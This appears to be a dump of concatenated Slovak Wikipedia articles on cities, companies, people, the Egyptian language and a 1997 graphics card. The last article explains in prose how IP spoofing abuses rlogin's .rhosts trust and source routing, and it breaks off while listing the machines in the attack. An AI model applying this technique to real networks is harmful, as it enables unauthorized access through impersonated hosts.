open-index/open-wikipedia-markdown huggingface dataset:
San Fernando del Valle de Catamarca

**San Fernando del Valle de Catamarca** (často skrátene nazývané ako **Catamarca**) je mesto v severozápadnej Argentíne. Je hlavným mestom rovnomennej provincie Catamarca a sídlom departmentu Capital. Pri sčítaní ľudu v roku 2010 malo mesto 159 139 obyvateľov. Spolu s predmestiami žije v metropolitnej oblasti Catamarca približne 217 300 ľudí. V priestore mesta Catamarca tak žije skoro 70 % obyvateľstva provincie.

San Fernando del Valle de Catamarca bolo založené v roku 1683. Je vzdialené približne 1 130 km od hlavného mesta Argentíny Buenos Aires. Mesto je cieľom veľkého počtu pútnikov, ktorí smerujú k miestnej bazilike zasvätenej Panne (Márii) z údolia (*La Virgen del Valle*). Mesto je však známe aj pre svoju koloniálnu architektúru, pričom mnohí turisti začínajú práve tu svoje cesty do okolitých hôr.

## Geografia
Catamarca leží v údolí Valle de Catamarca, ktoré oddeľuje horské pásma Sierra de Ancasti a Sierra de Ambato, na rieke *Rio del Valle*. Hoci je podnebie pomerne suché, v okolí sa nachádzajú kvalitné pôdy, čo napomáha rozvoju poľnohospodárstva.

## Referencie

## Iné projekty

## Externé odkazy
* Stránka mesta 
* Turistické informácie na ''Argentina Turística'' 

Kategória:Mestá v provincii Catamarca
Orlík

**Orlík** môže byť:
*zdrobnenina slova orol
*skrátene:
** Nižný Orlík
** Vyšný Orlík
** Orlík nad Vltavou (Česko)
*prezývka Napoleona II., syna Napoleona Bonaparteho, pozri Napoleon II.
*dráma Edmonda Rostanda (fr. L'Aiglon) o Napoleonovi II., pozri Orlík (Rostand)
*zámok Orlík na ľavom brehu Vltavy v Česku, pozri Zámok Orlík
*zrúcanina hradu 2 km od Humpolca v Česku, pozri Orlík (hrad v Humpolci)
*vodná nádrž na Vltave v Česku, pozri Orlík (vodná nádrž)
*vrch v Jeseníkoch v Česku, pozri Orlík (vrch v Jeseníkoch)
*vrch pri Humpolci v Česku, pozri  Orlík (vrch pri Humpolci)
* česká hudobná skupina, pozri Orlík (hudobná skupina)
* priezvisko, pozri Orlík (priezvisko), napr.:
** Emil Orlík (1870 – 1932), český maliar

## Pozri aj
*Orlik
Corrientes

**Corrientes** môže byť:
*mesto v Argentíne, pozri Corrientes (mesto)
*provincia v Argentíne, pozri Corrientes (argentínska provincia)
Formosa

**Formosa** môže byť:

* Taiwan (ostrov)
*v Argentíne:
** mesto v Argentíne, pozri Formosa (mesto)
** department v Argentíne, pozri Formosa (department)
** provincia v Argentíne, pozri Formosa (provincia)

*v Brazílii:
** mesto v Brazílii v štáte Goiás, pozri Formosa (Goiás)
Cinisello Balsamo

**Cinisello Balsamo** je mesto v severotalianskom regióne Lombardsko. Mesto sa nachádza v provincii Miláno.

Nachádza sa 10 km severovýchodne od Milána. Počet obyvateľov je 73 935.

## Iné projekty

## Externé odkazy

Oficiálna stránka

Kategória:Mestá v Lombardsku
Monza

**Monza** je mesto v regióne Lombardsko na severe Talianska. Mesto sa nachádza 15 km severne od Milána. Je preslávené okruhom Autodromo Nazionale Monza, kde sa konajú preteky Formuly 1.

Mestom preteká rieka Lambro, prítok rieky Pád. Od júna 2004 sa Monza stala hlavným mestom novej provinice Monza e Brianza. Táto nová administratívna úprava nadobudne účinnosť v roku 2009, dovtedy Monza bude súčasťou provincie Miláno.

Monza je tretím najväčším mestom Lombardska a významným ekonomickým a priemyselným mestom.

## Vývoj počtu obyvateľov
*Počet obyvateľov*

Colors=
  id:lightgrey value:gray(0.9)
  id:darkgrey  value:gray(0.7)
  id:sfondo value:rgb(1,1,1)
  id:barra value:rgb(0.6,0.7,0.8)

ImageSize = width:550 height:400
PlotArea = left:50 bottom:50 top:30 right:30
DateFormat = x.y
Period = from:0 till:125000
TimeAxis = orientation:vertical
AlignBars = justify
ScaleMajor = gridcolor:darkgrey increment:25000 start:0
ScaleMinor = gridcolor:lightgrey increment:5000 start:0
BackgroundColors = canvas:sfondo

BarData=
  bar:1861 text:1861
  bar:1871 text:1871
  bar:1881 text:1881
  bar:1901 text:1901
  bar:1911 text:1911
  bar:1921 text:1921
  bar:1931 text:1931
  bar:1936 text:1936
  bar:1951 text:1951
  bar:1961 text:1961
  bar:1971 text:1971
  bar:1981 text:1981
  bar:1991 text:1991
  bar:2001 text:2001

PlotData=
  color:barra width:20 align:left

  bar:1861 from:0 till: 24499
  bar:1871 from:0 till: 25266
  bar:1881 from:0 till: 26807
  bar:1901 from:0 till: 41218
  bar:1911 from:0 till: 51655
  bar:1921 from:0 till: 54617
  bar:1931 from:0 till: 61516
  bar:1936 from:0 till: 65052
  bar:1951 from:0 till: 73114
  bar:1961 from:0 till: 84445
  bar:1971 from:0 till: 114327
  bar:1981 from:0 till: 123145
  bar:1991 from:0 till: 120651
  bar:2001 from:0 till: 120204

PlotData=

  bar:1861 at: 24499 fontsize:S text: 24.499 shift:(-8,5)
  bar:1871 at: 25266 fontsize:S text: 25.266 shift:(-10,5)
  bar:1881 at: 26807 fontsize:S text: 26.807 shift:(-10,5)
  bar:1901 at: 41218 fontsize:S text: 41.218 shift:(-10,5)
  bar:1911 at: 51655 fontsize:S text: 51.655 shift:(-10,5)
  bar:1921 at: 54617 fontsize:S text: 54.617 shift:(-10,5)
  bar:1931 at: 61516 fontsize:S text: 61.516 shift:(-10,5)
  bar:1936 at: 65052 fontsize:S text: 65.052 shift:(-10,5)
  bar:1951 at: 73114 fontsize:S text: 73.114 shift:(-10,5)
  bar:1961 at: 84445 fontsize:S text: 84.445 shift:(-10,5)
  bar:1971 at: 114327 fontsize:S text: 114.327 shift:(-10,5)
  bar:1981 at: 123145 fontsize:S text: 123.145 shift:(-10,5)
  bar:1991 at: 120651 fontsize:S text: 120.651 shift:(-10,5)
  bar:2001 at: 120204 fontsize:S text: 120.204 shift:(-10,5)

TextData=
  fontsize:S pos:(20,20)
  text:"Zdroj: ISTAT"



## Osobnosti mesta
* Mária Ludovika Modenská (* 1787 – † 1816), rakúska cisárovná ako tretia manželka Františka II.
* Franco Faccio (* 1840 - † 1891), hudobný skladateľ a dirigent
* Stefano Mauri (* 1980), futbalista

## Partnerské mestá
*  Indianapolis, Indiana, USA
*  Praha, Česko

## Iné projekty

## Externé odkazy
Oficiálna stránka 


Kategória:Mestá v Lombardsku
Telefonaktiebolaget L. M. Ericsson

náhľad|Logo spoločnosti
[náhľad|Sídlo spoločnosti v [Štokholme, v mestskej štvrti Kista]]
**Telefonaktiebolaget L. M. Ericsson**, skrátene **Ericsson**, je švédsky výrobca telekomunikačných technológií. 

Spoločnosť založil v roku 1876 Lars Magnus Ericsson a sídli v Kiste pri Štokholme. Rozsiahle aktivity spoločnosti zaradili švédsku metropolu medzi európske výskumné centrá informačných technológií. Ericsson má svoje pobočky vo viac ako 180 krajinách sveta a len vo Švédsku zamestnáva okolo 17 700 ľudí.

## Iné projekty

## Externé odkazy
* Oficiálna stránka

Ericsson, Telefonaktiebolaget L.M.
Ericsson

**Ericsson** môže byť:
*skrátený názov firmy Telefonaktiebolaget L. M. Ericsson
*názov viacerých amerických lodí, pozri USS Ericsson
*osoba:
**John Ericsson
**Lars Magnus Ericsson
**Cris Ericson
**Leif Ericson
**Nils Ericson
**Ulrika Ericsson

## Pozri aj
*Ericson Manufacturing Company
*Ericsson Mobile Platforms
*Sony Ericsson
*Ericsson Hewlett Packard Telecom
*Ericsson Stadium
*Ericsson Open
Adenozíntrifosfát

**Adenozíntrifosfát** (**ATP**) je chemická zlúčenina patriaca medzi nukleotidy; chemicky ide o trifosforylovaný adenozín s dvomi makroergickými väzbami. Slúži predovšetkým ako prenášač fosfátu v rámci energetického metabolizmu bunky a univerzálny zdroj energie všetkých živých organizmov.

ATP predstavuje primárny zdroj energie pre bunku. Energia sa uvoľňuje pri hydrolytickom štiepení molekuly kyseliny trihydrogenfosforečnej z molekuly ATP, pričom vzniká adenozíndifosfát (ADP). Takto získaná energia je väčšia ako pri hydrolýze iných typov zlúčenín. Preto sa štiepená väzba nazýva „makroergická“ a označuje sa vlnovkou (nie je to špeciálny typ väzby, je to obyčajná kovalentná väzba; vlnovkou sa zdôrazňuje len jej energetický význam). Uvoľnená energia sa využíva na široké spektrum chemických dejov, vyžadujúcich energiu. 

Pomer ATP a ADP v bunke má značný regulačný význam.

## Referencie

## Iné projekty

## Zdroj
* 

Kategória:Látková premena
Kategória:Nukleotidy
Kategória:Puríny
Cesnak

**Cesnak** (ľudovo alebo zastarano: *cesnek*, *cesnik*, *cesnok*, *česnak*, *česnek*, *česnok*, zastarano aj: *tesnek*)  môže byť:
*rod rastlín, pozri cesnak (rod)
*niektoré druhy tohto rodu používané ako zelenina, pozri najmä cesnak kuchynský
*cesnak kuchynský

**Cesnak** môže byť aj priezvisko, pozri Cesnak (priezvisko), napr.
*Jozef Cesnak (* 1936), slovenský akademický maliar
*Vlastislav Cesnak (* 1945), slovenský dolnozemský maliar
*Július Cesnak (1863 – 1933), slovenský úradník, mešťanosta v Banskej Bystrici
*Darina Cesnaková, slovenská speváčka
*Milena Cesnaková-Michalcová, slovenská divadelná historička

## Zdroje
RIVA 128

right|thumb|STB Velocity 128

nVidia **Riva 128** bola grafická 3D karta, ktorá bola uvedená v roku 1997 ako RIVA 128 (STB VELOCITY 128) alebo NV3. Bola to jedna z prvých komerčných kariet s integrovaným 3D čipom. Po predchádzajúcom modeli NV1 sa snažila nVIDIA získať základňu zákazníkov práve vypustením tohto modelu. Jej uvedenie znamenalo jasný smer v budúcom počínaní nVIDIE.

Predošlý model (NV1) mal zásadne odlišný spôsob renderingu, tzv. "kvadratické" mapovanie. Softvérovo plne nepodporovaná pomocou Direct3D. Zato RIVA 128 si podporu zaistila navrhnutím priamo na toto prostredie. V tom čase boli na trhu karty 3Dfx VOODOO 1 s najlepším filtrovaním textúr, k chodu však potrebovala ďalšiu 2D kartu. NVIDIA mala integrované aj 2D jadro a bola teda cenovo prijateľnejším riešením. Ďalej umožňovala vyššie rozlíšenie ako VOODOO (800x600 alebo 960x720 naproti 640x480 alebo 800x600 bez z-buffera).

RIVA 128 bola jednou z prvých kariet vyrábaná aj vo verzii AGP 2x, čím bola technicky popredu. RIVA podporovala 4 MB RAM a 128 bit BUS. Mala jednu pixel pipeline (pixel za nasamplovanu textúru (nie multitexturing)). Čip bol limitovaný 16-bitovými farbami (high colours), čiže 16-bitovým formátom pixelov a 16-bitovým Z-bufferom. RIVA 128 priniesla 2D obraz dovtedy videný len na vysokokvalitných 2D kartách.

Krátko na to bola uvedená na trh 8 MB verzia nesúca názov RIVA 128 ZX. RIVOU 128 pohŕdali kvôli chudobnejšiemu renderovaniu a zvláštnym chybám pri ňom. Čip navyše nepodporoval trilineárne filtrovanie. Počiatocné ovládače RIVY používali mapovanie každého polygónu, čo vyzeralo pekne, ale bolo neúnosne náročné na výkon. NVIDIA neskôr vydala ovládače, ktoré čiastočne riešili problem-mod po pixeli. NVIDIA mala problém s bilineárnym filtrovaním naproti populárnej 3Dfx VOODOO GRAPHICS 1.. Akokoľvek, niektorí ľudia preferovali práve kvality VOODOO.

RIVA mala dobrú podporu v Direct3D, rozumela si však aj s OpenGL. Škodou pre RIVU bolo to, že v dobe jej vydania bolo veľa hier navrhnutých pre VOODOO, prostredie Glide, výlučne pre 3dfx.

RIVA navzdory dobrým vlastnostiam a plnohodnotnej podpore s ovládačmi prostredia Direct3D, hra UNREAL (resp. veľmi populárny engine tejto už kultovej hry) nebola spustiteľná. Len pod OpenGL, kde výsledkom bolo pomalé renderovanie a s častými chybami (pri UNREALI). Paradoxne bola schopná hrania Quake 3, ktorý bol oveľa náročnejší a pokrokovejší ako UNREAL engine.

## Prehľad
* Čipset: nVIDIA RIVA 128
* VRAM: 4 MB nebo 8 MB, 100 MHz
* RAMDAC: 230 MHz

## Externé odkazy
* PCTuning.cz – Historie společností vyrábějících 3D čipy (česky)

Kategória:Grafické karty NVIDIA
Benkovský potok

**Benkovský potok** môže byť:

* prítok Čierneho Váhu, pozri Benkovský potok (prítok Čierneho Váhu)
* prítok Písečnej na Morave, pozri Benkovský potok (prítok Písečnej)
Konferencia Spojených národov pre obchod a rozvoj

**Konferencia Spojených národov pre obchod a rozvoj** (iné používané preklady: **Konferencia Spojených národov o obchode a rozvoji, Konferencia OSN pre obchod a rozvoj/o obchode a rozvoji**; po anglicky *United Nations Conference on Trade and Development*, skratka **UNCTAD**) je jedna z organizácií systému OSN.

Ustanovená bola v roku 1963 Valným zhromaždením OSN. Plní otázky hospodárskej a obchodnej spolupráce. V súčasnosti je počet jej členov 191 a ich sídlo je Ženeva v Švajčiarsku. 

Programy UNCTAD sú zamerané na rozvoj obchodu, obchodnú a colnú politiku, surovinovú politiku a rozmach rozvojových krajín a ich ekonomickú integráciu.

## Externé odkazy

* Stránka UNCTAD

Kategória:OSN
Richard Gasquet

**Richard Gasquet** (* 18. jún 1986, Béziers, Francúzsko) je súčasný francúzsky profesionálny tenista. Počas svojej kariéry vyhral 16 turnajov ATP v dvojhre a 2 turnaje vo štvorhre.

## Finálové účasti na turnajoch ATP (37)

### Dvojhra - výhry (16)

### Dvojhra - prehry (17)

### Štvorhra - výhry (2)

### Štvorhra - prehry (2)

## Doping
V máji 2009 mal v tele pri dopingovej skúške trojnásobne zvýšené množstvo kokaínu nad povolený limit (50 nanogramov na mililiter), začo mu hrozil od Medzinárodnej tenisovej federácie dvojročný zákaz činnosti. V na kurty sa vrátil v auguste 2009 na turnaji v New Haven. V decembri 2009 bol definitívne oslobodený.

## Referencie

## Iné projekty

## Externé odkazy

Kategória:Francúzski tenisti 
Kategória:Francúzski bronzoví olympijskí medailisti
Organizácia Spojených národov pre priemyselný rozvoj

**Organizácia Spojených národov pre priemyselný rozvoj** (, skrátene *UNIDO*) je jedna z odborných organizácií OSN. 

Bola založená v roku 1966 ako súčasť Sekretariátu OSN. Sídlo je vo Viedni. Jej základným cieľom je zlepšenie a rozvoj priemyslu v rozvojových, ako aj ekonomicky rozvinutých krajinách.

## Referencie


## Externé odkazy
* Oficiálna stránka

Kategória:OSN
Kategória:Špecializované agentúry OSN
Peter Falk

**Peter Falk** (* 16. september 1927, New York, USA – † 23. jún 2011, Beverly Hills, Kalifornia) bol americký herec židovského pôvodu.

Preslávil sa účinkovaním v televíznom seriáli *[[Columbo]]*. Za túto úlohu získal Zlatý glóbus a päť cien Emmy.

## Životopis
Ako trojročný prišiel kvôli malígnemu tumoru o pravé oko a dostal sklenené oko. Päť rokov po skončení hereckej školy, v roku 1960, bol nominovaný na Oscara za rolu vraha vo filme *Murder, Inc.*. Druhú nomináciu získal o rok neskôr za vedľajšiu rolu vo filme *Pocketful of Miracles*.

Desaťkrát bol nominovaný na cenu Emmy za rolu *poručíka Columba*, z toho päťkrát vyhral; za túto úlohu bol nominovaný deväťkrát na Zlatý glóbus, ktorý vyhral v roku 1973. Ohromná popularita seriálu mu zaistila pevnejšie postavenie v Hollywoode a výber ambicióznejších rolí. Na svojom konte má spoluprácu s renomovanými tvorcami: s Johnom Cassavetesom napríklad natočil film *Husbands* (1970). Objavil sa aj vo filmoch Wima Wendersa *[[Nebo nad Berlínom]]* (1987) a *In weiter Ferne, so nah!* (1993).

Bol dvakrát ženatý: jeho prvou manželkou bola Alice Mayo v rokoch 1960 – 1976 a po rozvode sa v roku 1977 oženil so  Sherou Danese. Jeho dcéra 15. decembra 2008 oznámila, že otec trpí Alzheimerovou chorobou a demenciou. Začiatkom roku 2009 sa sporili o majetok jeho dcéra z prvého manželstva a druhá manželka.

Zomrel 23. júna 2011 vo svojom dome v Beverly Hills. Bezprostredná príčina smrti nie je známa, pretože ju rodina nechcela oznámiť.

V roku 2013 dostal hviezdu na Hollywoodskom chodníku slávy.

## Filmografia (výber)

## Referencie


## Iné projekty

## Externé odkazy
* 
* 
* Oficiální stránky Petera Falka

Kategória:Filmoví herci USA
Kategória:Televízni herci USA
Kategória:Filmoví herci židovského pôvodu
Kategória:Televízni herci židovského pôvodu
Kategória:Osobnosti USA židovského pôvodu
Kategória:Držitelia ceny Zlatý glóbus za najlepší mužský herecký výkon v seriáli (dráma)
Kategória:Držitelia ceny Emmy za najlepší mužský herecký výkon v miniseriáli alebo televíznom filme
Kategória:Hollywoodsky chodník slávy
Kategória:Absolventi Syracuse University
Kategória:Osobnosti z New Yorku
Egyptčina

**Egyptčina** môže byť:
*vetva afroázijských jazykov, o.&nbsp;i. jazyk starovekého Egypta, pozri egyptčina (stará)
*súčasné nárečie arabčiny, pozri egyptská arabčina
Petržalka City

right|thumb|Petržalka City

**Petržalka City** je názov projektu polyfunkčného súboru bytov, obchodov, služieb, administratívnych priestorov, hotela, športových, kultúrnych a rekreačných zariadení, ako aj zelene, ktorý sa realizoval v centre bratislavskej mestskej časti Petržalka.

Prvá etapa realizácie sa mala začať v roku 2008 a skončiť v roku 2010 a mala sa nachádzať na pozemku medzi Rusovskou cestou, Hálovou ulicou a Chorvátskym ramenom. Druhá etapa mala prebiehať v rokoch 2009-2013 a je lokalizovaná medzi Chorvátskym ramenom, Rusovskou a Romanovou a plánovaným Centrom mestskej časti Petržalka. Skutočná výstavba prvej etapy sa začala až v júli 2011 a bola ukončená v máji 2013.

## Externé odkazy
* Oficiálna stránka projektu 
* Článok na stránke etrend.sk

Kategória:Petržalka
Egyptčina (stará)

**Egyptčina** alebo **egyptské jazyky** je jazyk/vetva afroázijských jazykov. 

O písme pozri egyptské písmo.

## Delenie
Egypčina sa podľa jazyka písaných pamiatok člení chronologicky takto:
* raná egyptčina (archaická egyptčina): 3300–2700 pred Kr. – v minulosti zaraďovaný ako raná fáza starej egyptčiny;
* stará egyptčina: 2700 / 2600 – 2200 / 2000 pred Kr.;
* stredná egyptčina (klasická egyptčina): 2200 / 2000–1500 / 1300 pred Kr.;
* nová egyptčina (neskorá egyptčina): 1500 / 1300–700 pred Kr.;
* démotická egyptčina: 700 pred Kr.–400 / 500 po Kr.;
* koptčina: 200 / 400 po Kr.–17. / 19. stor.

Niektorí autori všetky tieto obdobia egyptčiny považujú za samostatné jazyky a egyptčinu potom označujú ako egyptské jazyky. Iní autori zas koptčinu nepovažujú za súčasť egyptčiny a rozlišujú koptčinu (ktorú potom nazývajú aj nová egyptčina) a (zvyšnú) egyptčinu (ktorú potom nazývajú stará egyptčina).

## Externé odkazy
* Delenie podľa Hanniga 1995 (po nemecky) 
* To isté po rusky s komentárom na egyptology.ru





Kategória:Egyptológia
Kategória:Egyptčina
Raná egyptčina

**Raná egyptčina** alebo **archaická egyptčina** je najstarší známy egyptský jazyk a zrejme aj najstarší textami doložený jazyk na svete vôbec. Trval asi od 3300 pred Kr. do 2700/2600 pred Kr. 

Ako „archaická raná egyptčina“ sa niekedy označuje raná egyptčina plus Texty pyramíd.

Jazyk je doložený hieroglyfickými nápismi z neskorého preddynastického a skorého dynastického obdobia egyptských dejín. Najstarší doklad egyptského hieroglyfického písma sa objavuje na keramike Nakáda II.

V minulosti sa považoval iba za včasnú fázu starej egyptčiny, ukázalo sa však, že sa od nej dosť odlišuje.

## Literatúra (po nemecky)
*Jochem Kahl, Nicole Kloth, Ursula Zimmermann: *Die Inschriften der 3. Dynastie. Eine Bestandsaufnahme.* (Ägyptologische Abhandlungen, zv. 56) Harrassowitz Wiesbaden, 1995 ISBN 3-447-03733-4
*Jochem Kahl: *Frühägyptisches Wörterbuch.* Lieferung 1-3 (*3* až **) Harrassowitz, Wiesbaden 2002-2004 ISBN 3-447-04594-9; ISBN 3-447-04595-7; ISBN 3-447-04596-5 *(jediný slovník  obsahujúci slovnú zásobu preddynastického a včasného dynastického obdobia)*
*Peter Kaplony: *Die Inschriften der ägyptischen Frühzeit.* 3 zväzky (Ägyptologische Abhandlungen Nr. 8) Harrassowitz, Wiesbaden 1963
*Peter Kaplony, *Kleine Beiträge zu den Inschriften der ägyptischen Frühzeit* (Ägyptologische Abhandlungen Nr. 15) Harrassowitz, Wiesbaden 1966

Kategória:Egyptčina
Stará egyptčina

::*Stará egyptčina môže byť aj označenie pre egyptčinu alebo egyptčinu bez koptčiny, pozri pod [[egyptčina]]*

**Stará egyptčina** bol egyptský jazyk používaný zhruba od 2700/2600 pred Kr. do 2200/2100/2000 (teda počas väčšiny Starej ríše a počas Prvého prechodného obdobia). V širšom zmysle sa pod starú egyptčinu zaraďuje/-ďovala aj raná egyptčina. 

Na stenách hrobiek popredných Egypťanov tohto obdobia sa objavujú autobiografické záznamy. Jedným z jej typických znakov je trojité uvádzanie ideogramov, fonogramov a determinátov na označenie množného čísla. Vo všeobecnosti sa výrazne nelíši od strednej egyptčiny.

Do tohto obdobia spadajú aj Texty pyramíd, ktoré sa však niekedy zaraďujú k archaickej egyptčine.

## Literatúra
### Gramatika
*Elmar Edel: *Altägyptische Grammatik*. (Analecta Orientalia 34/39), Rím 1955/1964
*A. H. Gardiner: *Egyptian Grammar, Oxford*, 3. vyd. 1957
*James P. Allen: *The inflection of the Verb in the Pyramid Texts.* (Bibliotheca Aegyptiaca, zv. 2) 2 zväzky, Undena Publications, Malibu 1984. ISBN 0-89003-143-6 (softbound); ISBN 0-89003-142-8 (hardbound) *(štúdia)*
*Éric Doret: *The narrative verbal system of Old and Middle Egyptian*. (Cahiers d'Orientalisme, Nr. XII) Cramer, Genf 1986 *(štúdia)*
*Jürgen Osing: *Die Nominalbildung des Ägyptischen*. Zabern, Mainz 1976 (2 zv.)

### Slovníky (nemecké)
*Adolf Erman, Hermann Grapow:, *Wörterbuch der ägyptischen Sprache*, Band I-V; Band VI: Deutsch-Ägyptisches Wörterverzeichnis; Band VII: Rückläufiges Wörterverzeichnis; Band VIII-X: Belegstellenverzeichnis, Berlin 1950 - 1963. *(základný slovník starej egyptčiny vôbec)*

* Hannigove lexikóny:
** Zväzok 1 - Rainer Hannig: *Die Sprache der Pharaonen. Großes Handwörterbuch Ägyptisch-Deutsch*. Kulturgeschichte der antiken Welt. zv. 64. Philipp von Zabern, Mainz 1995. ISBN 3-8053-1771-9
** Zväzok 2 - Rainer Hannig, Petra Vomberg: *Wortschatz der Pharaonen in Sachgruppen. Kulturhandbuch Ägyptens*. Kulturgeschichte der antiken Welt. zv. 72. Philipp von Zabern, Mainz 1998. ISBN 3-8053-2543-6
** Zväzok 3 - Rainer Hannig: *Die Sprache der Pharaonen. Großes Handwörterbuch Deutsch-Ägyptisch*. Kulturgeschichte der antiken Welt, zv. 86. Philipp von Zabern, Mainz 2000. ISBN 3-8053-2609-2
** Zväzok 4 - Rainer Hannig: *Ägyptisches Wörterbuch 1. Altes Reich und erste Zwischenzeit*. Kulturgeschichte der antiken Welt. zv. 98. Philipp von Zabern, Mainz 2003. ISBN 3-8053-3088-X

### Vydania textov
*Kurt Sethe: *[http://www.lib.uchicago.edu/cgi-bin/eos/eos_title.pl?callnum=PJ1553.A1_1908_cop3 Staroegyptské Texty pyramíd]*
*Georg Steindorff (ed.): *Urkunden des ägyptischen Altertums*. Lipsko 1904 a nasl.

## Pozri aj
* Transliterácia staroegyptčiny

## Externé odkazy
*Delenie podľa Hanniga 1995 (po nemecky) 
*To isté po rusky s komentárom na egyptology.ru
*pozri aj linky vyššie pod Literatúra

Kategória:Egyptčina
Kategória:Staroegyptský jazyk
Stredná egyptčina

**Stredná egyptčina** alebo **klasická egyptčina** bol egyptský jazyk používaný v období zhruba od 2200/2100/2000 do 1500/1300 pred Kr.

Tento stupeň egyptčiny je známy z množstva písomných dokladov v hieroglyfickom a hieratickom písme spadajúcich do obdobia Strednej ríše. Patria sem pohrebné texty napísané na sarkofágoch ako napríklad Texty rakiev, gnomické texty radiace ako prežiť život, ktoré prezrádzajú veľa o filozofickom nazeraní starovekých Egypťanov na svet, príbehy zaoberajúce sa dobrodružstvami niektorého jednotlivca, napríklad Sinuhetov príbeh, lekárske a vedecké texty ako napríklad papyrus Edwina Smitha a Ebersov papyrus a básnické texty oslavujúce božstvo alebo faraóna, ako napríklad Hymnus na Níl. 

Egyptský hovorený jazyk sa už začal odlišovať od písaného jazyka, ako to dokladajú určité texty v hieratickom písme zo Strednej ríše, ale klasické egyptština sa naďalej používala vo formálnych situáciach až do neskorého dynastického obdobia (niekedy sa táto posledná fáza označuje ako neskorá stredná egyptčina).

## Literatúra
### Gramatika
* A. H. Gardiner: *Egyptian Grammar, Oxford*, 3. vyd. 1957
* Erhart Graefe, Jochem Kahl: *Mittelägyptische Grammatik für Anfänger*. 6. vyd. Harrassowitz, Wiesbaden 2001, ISBN 3-447-04469-1
* Karl Jansen-Winkeln: *Spätmittelägyptische Grammatik der Texte der 3. Zwischenzeit*. Harrassowitz, Wiesbaden 1996 ISBN 3-447-03800-4
* Hermann Junker: *Grammatik der Denderatexte*, J. C. Hinrichs, Leipzig 1906 *(jediná gramatika novej strednej egyptčiny obdobia Ptolemaiovcov)*
*Éric Doret: *The narrative verbal system of Old and Middle Egyptian*. (Cahiers d'Orientalisme, Nr. XII) Cramer, Genf 1986
*Jürgen Osing: *Die Nominalbildung des Ägyptischen*. Zabern, Mainz 1976 (2 zv.)

### Slovníky
* Adolf Erman, Hermann Grapow:, *Wörterbuch der ägyptischen Sprache*, Band I-V: Wörterbuch Ägyptisch-Deutsch; Band VI: Deutsch-Ägyptisches Wörterverzeichnis; Band VII: Rückläufiges Wörterverzeichnis; Band VIII-X: Belegstellenverzeichnis, Berlin 1926 - 1963.

* Hannigove lexikóny
** Zväzok 1 - Rainer Hannig: *Die Sprache der Pharaonen. Großes Handwörterbuch Ägyptisch-Deutsch*. Kulturgeschichte der antiken Welt. zv. 64. Philipp von Zabern, Mainz 1995.  ISBN 3-8053-1771-9
** Zväzok 2 - Rainer Hannig, Petra Vomberg: *Wortschatz der Pharaonen in Sachgruppen. Kulturhandbuch Ägyptens*. Kulturgeschichte der antiken Welt. zv. 72. Philipp von Zabern, Mainz 1998. ISBN 3-8053-2543-6
** Zväzok 3 - Rainer Hannig: *Die Sprache der Pharaonen. Großes Handwörterbuch Deutsch-Ägyptisch*. Kulturgeschichte der antiken Welt, zv. 86. Philipp von Zabern, Mainz 2000. ISBN 3-8053-2609-2
** Zväzok 5 - Rainer Hannig: *Mittleres Reich und Zweite Zwischenzeit*. Kulturgeschichte der antiken Welt, zv. 112. Philipp von Zabern, Mainz 2000. ISBN 978-3-8053-3690-1

## Externé odkazy
*Delenie podľa Hanniga 1995  
*To isté po rusky s komentárom na egyptology.ru 
*Thesaurus Linguae Aegyptiae (Texty a slovník) 

Kategória:Egyptčina
Zentralfriedhof

**Zentralfriedhof** (doslova Ústredný cintorín) je názov viacerých cintorínov v nemecky hovoriacich krajinách, napr.:
*Zentralfriedhof (Viedeň)
*Zentralfriedhof Friedrichsfelde (Berlín)
*Zentralfriedhof (Münster)
*Zentralfriedhof (Gleiwitz)
Agora

**Agora** môže byť:
* typ mestského nízkopodlažného autobusu, pozri Irisbus Citybus 12M
* ľudové zhromaždenie v starovekom Grécku, pozri agora (zhromaždenie)
* druh verejného priestranstva v starovekom Grécku, pozri agora (námestie) a konkrétne napr. Agora (Atény)
* stotina šekela, pozri šekel
* progresívno-metalová skupina z Mexika, pozri Agora (mexická hudobná skupina)
* programovací jazyk, pozri Agora (programovací jazyk)
* skupina rozhlasových vysielačov v Poľsku, pozri Agora (Poľsko)
* trácke/starogrécke sídlo pri Keşane, pozri Afrodisias (Trácia)
* budova v Jyväskylä vo Fínsku, pozri Agora (Jyväskylä)
* festival súčasnej hudby IRCAMu v Paríži, pozri IRCAM
Foddú

**Foddú** () je jeden z obývaných ostrovov na atole Núnu na Maldivách. Počet obyvateľov je 612 (jún 2006), dĺžka ostrova 780 m, šírka 430 m. Vzdialenosť od hlavného mesta Male je 176,18 km.

## Externé odkazy
*Informácie ministerstva pre rozvoj o Foddú - anglicky

Kategória:Ostrovy atolu Núnu
IP spoofing

**IP spoofing** je jedna z najnebezpečnejších hakerských techník. Spoofing je typ útoku, pri ktorom osoba alebo program maskuje svoju totožnosť a tvári sa ako druhá osoba. Veľa protokolov používaných v TCP/IP je náchylných na spoofing útoky. Príklady spoofing útokov sú IP spoofing, ARP spoofing, man-in-the-middle útoky, DNS spoofing, web spoofing – tiež sa označuje ako phishing.

Táto technika využíva dôverčivosť niektorých služieb (hlavne rlogin). Dovoľuje obísť TCP wrappingom zakázané služby a dokonca získať užívateľské kontá.

Služba rlogin dovoľuje mať v home directory súbor .rhosts, ktorý dovoľuje vstup z niektorých usernames/host kombinácií. Služba bola vytvorená pre zjednodušenie prihlásenia. Používateľ nemusí pri prihlasovaní z jedného svojho konta na druhé udávať ďalšie heslo. Útočník toho môže využiť a pomocou služby IP source routing zasielať balíky dát. Source routing je časť IP packetu, kde je explicitne definovaná cesta, ktorou sa má odpoveď uberať. Takto je možné zaslať packet z počítača útočníka na napadnutý počítač s tým, že bude v IP hlavičke definovaný odosielateľ Trusted a nastavená spätná cesta k počítaču útočníka.

Táto metóda nebýva vždy úspešná, pretože administrátori vypínajú nepoužívanú časť hlavičky source routing. Navyše sa dá veľmi rýchlo prísť na to, že niekto touto technikou napáda počítač a dokonca veľmi jednoducho zistiť aj zdroj/miesto útoku.

## Technika útoku
Preto sa vymyslela zložitejšia technika pomocou štyroch počítačov:
* Hacker – útočníkov počítač
* Cieľ – počítač, na ktorý chce zaútočiť
* Trusted – počítač, ktorý sa objavil v cieľovom.rhosts súbore
* Down – počítač, ktorý existuje, ale momentálne nie je schopný odpovedať 

